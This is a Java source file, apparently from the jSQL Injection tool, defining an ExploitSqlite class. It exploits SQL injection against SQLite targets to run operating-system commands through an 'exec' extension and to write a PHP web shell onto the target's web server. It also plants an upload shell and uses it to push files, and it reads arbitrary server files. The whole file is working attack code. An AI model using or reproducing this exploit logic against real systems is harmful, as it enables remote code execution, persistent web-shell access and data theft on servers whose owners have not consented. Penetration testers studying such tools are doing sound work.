View Javadoc
1   package com.jsql.model.accessible.engine;
2   
3   import com.jsql.model.InjectionModel;
4   import com.jsql.model.accessible.DataAccess;
5   import com.jsql.model.accessible.ResourceAccess;
6   import com.jsql.model.accessible.engine.sqlite.ModelYamlSqlite;
7   import com.jsql.model.bean.database.MockElement;
8   import com.jsql.model.suspendable.Input;
9   import com.jsql.view.subscriber.Seal;
10  import com.jsql.model.exception.AbstractSlidingException;
11  import com.jsql.model.exception.JSqlException;
12  import com.jsql.model.exception.JSqlRuntimeException;
13  import com.jsql.model.suspendable.SuspendableGetRows;
14  import com.jsql.util.LogLevelUtil;
15  import com.jsql.util.StringUtil;
16  import org.apache.commons.lang3.RandomStringUtils;
17  import org.apache.commons.lang3.StringUtils;
18  import org.apache.logging.log4j.LogManager;
19  import org.apache.logging.log4j.Logger;
20  import org.yaml.snakeyaml.Yaml;
21  
22  import java.io.File;
23  import java.io.FileInputStream;
24  import java.io.IOException;
25  import java.io.InputStream;
26  import java.net.http.HttpResponse;
27  import java.util.UUID;
28  import java.util.function.BinaryOperator;
29  
30  public class ExploitSqlite {
31  
32      private static final Logger LOGGER = LogManager.getRootLogger();
33      private final InjectionModel injectionModel;
34      private final ModelYamlSqlite modelYaml;
35  
36      public ExploitSqlite(InjectionModel injectionModel) {
37          this.injectionModel = injectionModel;
38          var yaml = new Yaml();
39          this.modelYaml = yaml.loadAs(
40              injectionModel.getMediatorEngine().getSqlite().instance().getModelYaml().getResource().getExploit(),
41              ModelYamlSqlite.class
42          );
43      }
44  
45      public void createUdf() {
46          LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "RCE UDF requirements: extension exec loaded");
47          var result = this.injectionModel.getResourceAccess().getResultWithCatch(String.format(
48              this.modelYaml.getExtension().getExec(),
49              ResourceAccess.WEB_CONFIRM_CMD +"%20"
50          ), ResourceAccess.TBL_READ);
51          if (result.contains(ResourceAccess.WEB_CONFIRM_RESULT)) {
52              LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, "RCE UDF successful: command execution found");
53              this.injectionModel.sendToViews(new Seal.AddTabExploitUdf(this::runRce));
54          }
55      }
56  
57      public String runRce(String command, UUID uuidShell) {
58          String result;
59          try {
60              result = this.injectionModel.getResourceAccess().getResult(String.format(
61                  this.modelYaml.getExtension().getExec(),
62                  command.replace(StringUtils.SPACE, "%20")
63              ), ResourceAccess.RUN_FUNC);
64          } catch (JSqlException e) {
65              result = String.format(ResourceAccess.TEMPLATE_ERROR, e.getMessage(), command);
66          }
67          this.injectionModel.sendToViews(new Seal.GetTerminalResult(
68              uuidShell,
69              result.trim() +"\n"  // missing newline on some extensions
70          ));
71          return result;
72      }
73  
74      public String createWeb(String pathExploit, String urlExploit) {
75          LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "RCE Web target requirements: stack query, web+db on same machine");
76  
77          String bodyExploit = StringUtil.base64Decode(
78                  this.injectionModel.getMediatorUtils().propertiesUtil().getProperty("exploit.web")
79              )
80              .replace(DataAccess.SHELL_LEAD, DataAccess.LEAD)
81              .replace(DataAccess.SHELL_TRAIL, DataAccess.TRAIL);
82          var nameDbRandom = RandomStringUtils.secure().nextAlphabetic(8);
83          var nameTableRandom = RandomStringUtils.secure().nextAlphabetic(8);
84          var nameExploit = nameDbRandom + nameTableRandom +".php";
85          this.injectionModel.injectWithoutIndex(String.format(
86              this.modelYaml.getWriteFile(),
87              pathExploit + nameExploit, nameDbRandom,
88              nameDbRandom, nameTableRandom,
89              nameDbRandom, nameTableRandom, bodyExploit
90          ), ResourceAccess.TBL_DUMP);
91  
92          BinaryOperator<String> biFuncGetRequest = (String pathExploitFixed, String urlSuccess) -> {
93              String result = this.injectionModel.getResourceAccess().callCommand(
94                  urlSuccess +"?c="+ ResourceAccess.WEB_CONFIRM_CMD
95              );
96              if (!result.contains(ResourceAccess.WEB_CONFIRM_RESULT)) {
97                  LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Exploit body not found");
98                  return StringUtils.EMPTY;
99              }
100             this.injectionModel.sendToViews(new Seal.AddTabExploitWeb(urlSuccess));
101             return urlSuccess;
102         };
103 
104         return this.injectionModel.getResourceAccess().checkUrls(urlExploit, nameExploit, biFuncGetRequest);
105     }
106 
107     public void createUpload(String pathExploit, String urlExploit, File fileToUpload) {
108         String bodyExploit = StringUtil.base64Decode(
109                 this.injectionModel.getMediatorUtils().propertiesUtil().getProperty(ResourceAccess.EXPLOIT_DOT_UPL)
110             )
111             .replace(DataAccess.SHELL_LEAD, DataAccess.LEAD)
112             .replace(DataAccess.SHELL_TRAIL, DataAccess.TRAIL);
113         var nameDbRandom = RandomStringUtils.secure().nextAlphabetic(8);
114         var nameTableRandom = RandomStringUtils.secure().nextAlphabetic(8);
115         var nameExploit = nameDbRandom + nameTableRandom +".php";
116         this.injectionModel.injectWithoutIndex(String.format(
117             this.modelYaml.getWriteFile(),
118             pathExploit + nameExploit, nameDbRandom,
119             nameDbRandom, nameTableRandom,
120             nameDbRandom, nameTableRandom, bodyExploit
121         ), ResourceAccess.TBL_DUMP);
122 
123         BinaryOperator<String> biFuncGetRequest = (String pathExploitFixed, String urlSuccess) -> {
124             try (InputStream streamToUpload = new FileInputStream(fileToUpload)) {
125                 HttpResponse<String> result = this.injectionModel.getResourceAccess().upload(fileToUpload, urlSuccess, streamToUpload);
126                 if (result.body().contains(DataAccess.LEAD +"y")) {
127                     LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, ResourceAccess.UPLOAD_SUCCESSFUL, pathExploit, fileToUpload.getName());
128                 } else {
129                     LOGGER.log(LogLevelUtil.CONSOLE_ERROR, ResourceAccess.UPLOAD_FAILURE, pathExploit, fileToUpload.getName());
130                 }
131             } catch (InterruptedException e) {
132                 LOGGER.log(LogLevelUtil.IGNORE, e, e);
133                 Thread.currentThread().interrupt();
134             } catch (IOException | JSqlException e) {
135                 throw new JSqlRuntimeException(e);
136             }
137             return urlSuccess;
138         };
139 
140         this.injectionModel.getResourceAccess().checkUrls(urlExploit, nameExploit, biFuncGetRequest);
141     }
142 
143     public String getRead(String pathFile) throws AbstractSlidingException {
144         LOGGER.log(LogLevelUtil.CONSOLE_INFORM, "Read file requirement: extension fileio loaded");
145         return new SuspendableGetRows(this.injectionModel).run(new Input(
146             String.format(
147                 this.modelYaml.getExtension().getFileioRead(),
148                 pathFile
149             ),
150             new String[]{ StringUtils.EMPTY },
151             false,
152             1,
153             MockElement.MOCK,
154             ResourceAccess.FILE_READ
155         ));
156     }
157 }